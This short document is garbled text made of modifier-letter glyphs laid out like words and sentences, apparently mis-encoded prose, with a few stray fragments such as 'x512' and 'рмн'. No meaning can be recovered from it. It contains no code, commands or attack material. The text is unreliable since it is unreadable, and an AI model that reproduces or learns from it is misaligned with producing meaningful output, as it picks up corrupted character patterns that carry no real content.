ˢ˲˧ ,˞˪ ?ˢ˯ˮˮ ˭˧˟ˢ˪ ˨˧˞ ˣˮ˰ˠˢ ˢˬ˩ˬ ˫˧˦˲˷ˬ ˸˧˪ˠˮ˞˟ ˢˮˣˬ˸˪ ˞˪˷ ˸˧˧ˢ s˸˷˧˧˟ˬ ˶˧˧˴/˫˪˴ 

˧˰ˣ˴˵ˬ. 
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˷˰˶ˢ ˰˧˶˲ˬ ˧˪ 

ˢ˟ˢ ˢ˷˰ˮ ˧ˣ˯˧ˮ ˧˸˟˷˥ˬ ˧ˡ˩ ˢ˧ˢ˸˷ ˣˮ˪ ˢ˧˴˧˞ˣ˦ˮ˧˞ ˪ˡˣˬ˪ .˥˵˧ˮ ˢˮˣˬ˸ ˪ˡˣˠ˟ рмн512x ˸˧˪ˬˣˡˮ˶ ˪˷ 

˪ˣ˸˥ .˭˧˞ ˢ˟ ˫ˣ˷ ˶˟ˡ ˡ˥ˣ˧ˬ )˳ˣ˥ ˢˤˬ ˢˤ˷ ˪ˣ˸˥(!: 

 

˱˧˯ˣˮ ˢ˪ ˷˰˶: 

 

˶˯˥ ˧˪ ˸˴˵ ,˱˧˯ˣˮ ˡˣ˰: 

 

ˡˣ˰ˣ .ˡˣ˰ˣ .ˡˣ˰ˣ: 

 

˵˧˲˯ˬ ˟ˣ˦ .˯ˣˢˣˮ˲ мн ˫˧ˬ˰˲ ˷˰˶ ˧˞˶˵˞ ˢˮˣˬ˸˪ .˫˞ˢ ˫˸˞ ˫˧˥˧˪˴ˬ ˸ˣˢˤ˪ ˸˞ ˪ˣ˸˥ˢ ˢˮˣˬ˸˟˷ 

˸˧˶ˣ˵ˬˢ ?ˢ˞˶ˮ˩ ˞˪˷ .˧˪ˣ˞ ˫˸˞ ˭˩ ˫˧˞ˣ˶ ˸˞ ˪ˣ˸˥ˢ ,˪˟˞ ˢˤ ˵˶ ˧˩ ˫˸˧˞˶ ˸˞ ˢˮˣˬ˸ˢ ˸˧˶ˣ˵ˬˢ 

˫˸˞ˣ ˫˧˶˷˵ˬ ,˫˞ ˫˸˧˧ˢ ˫˧˞ˣ˶ ˵˶ ˸˞ ˢˮˣˬ˸ˢ ˸˧˲ˣ˯ˢ ,˞˪ ˫˸˧˧ˢ ˫˧˥ˣ˦˟ ˣ˪˧˲˞ ˢˤ˷ ˪ˣ˸˥ ˞˪ˣ ˱ˣ˵. 






























































